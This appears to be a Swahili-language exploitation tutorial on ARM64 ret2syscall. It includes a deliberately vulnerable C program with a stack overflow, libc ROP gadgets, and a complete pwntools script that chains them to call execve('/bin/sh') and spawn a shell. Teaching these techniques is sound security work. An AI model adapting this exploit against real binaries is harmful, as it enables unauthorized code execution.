Ret2syscall - ARM64

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Pata utangulizi wa arm64 katika:

{{#ref}} ../../../macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md {{#endref}}

Code

Tutaenda kutumia mfano kutoka kwenye ukurasa:

{{#ref}} ../../stack-overflow/ret2win/ret2win-arm64.md {{#endref}}

c
#include <stdio.h>
#include <unistd.h>

void win() {
printf("Congratulations!\n");
}

void vulnerable_function() {
char buffer[64];
read(STDIN_FILENO, buffer, 256); // <-- bof vulnerability
}

int main() {
vulnerable_function();
return 0;
}

Kusanya bila pie na canary:

bash
clang -o ret2win ret2win.c -fno-stack-protector

Gadgets

Ili kuandaa wito wa syscall inahitajika usanidi ufuatao:

  • x8: 221 Specify sys_execve
  • x0: ptr to "/bin/sh" specify file to execute
  • x1: 0 specify no arguments passed
  • x2: 0 specify no environment variables passed

Kwa kutumia ROPgadget.py niliweza kupata vifaa vifuatavyo katika maktaba ya libc ya mashine:

armasm
;Load x0, x1 and x3 from stack and x5 and call x5
0x0000000000114c30:
ldp x3, x0, [sp, #8] ;
ldp x1, x4, [sp, #0x18] ;
ldr x5, [sp, #0x58] ;
ldr x2, [sp, #0xe0] ;
blr x5

;Move execve syscall (0xdd) to x8 and call it
0x00000000000bb97c :
nop ;
nop ;
mov x8, #0xdd ;
svc #0

Kwa vifaa vilivyotangulia tunaweza kudhibiti register zote zinazohitajika kutoka kwenye stack na kutumia x5 kuruka kwenye kifaa cha pili kuita syscall.

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Kumbuka kwamba kujua habari hii kutoka kwa maktaba ya libc pia inaruhusu kufanya shambulio la ret2libc, lakini hebu tutumie kwa mfano huu wa sasa.

Exploit

python
from pwn import *

p = process('./ret2syscall')
elf = context.binary = ELF('./ret2syscall')
libc = ELF("/usr/lib/aarch64-linux-gnu/libc.so.6")
libc.address = 0x0000fffff7df0000 # ASLR disabled
binsh = next(libc.search(b"/bin/sh"))

stack_offset = 72

#0x0000000000114c2c : bl #0x133070 ; ldp x3, x0, [sp, #8] ; ldp x1, x4, [sp, #0x18] ; ldr x5, [sp, #0x58] ; ldr x2, [sp, #0xe0] ; blr x5
load_x0_x1_x2 = libc.address + 0x114c30 # ldp x3, x0, [sp, #8] ; ldp x1, x4, [sp, #0x18] ; ldr x5, [sp, #0x58] ; ldr x2, [sp, #0xe0] ; blr x5

# 0x00000000000bb97c : nop ; nop ; mov x8, #0xdd ; svc #0
call_execve = libc.address + 0xbb97c

print("/bin/sh in: " + hex(binsh))
print("load_x0_x1_x2 in: " + hex(load_x0_x1_x2))
print("call_execve in: " + hex(call_execve))

# stack offset
bof = b"A" * (stack_offset)
bof += p64(load_x0_x1_x2)

# ldp x3, x0, [sp, #8]
rop = b"BBBBBBBBBBBBBBBB" #x3
rop += p64(binsh) #x0

# ldp x1, x4, [sp, #0x18]
rop += b"C"*(0x18 - len(rop))
rop += p64(0x00) # x1
rop += b"CCCCCCCC" #x4

# ldr x5, [sp, #0x58]
rop += b"D"*(0x58 - len(rop))
rop += p64(call_execve) # x5

# ldr x2, [sp, #0xe0]
rop += b"E" * (0xe0 - len(rop))
rop += p64(0x00) # x2

payload = bof + rop

p.sendline(payload)

p.interactive()

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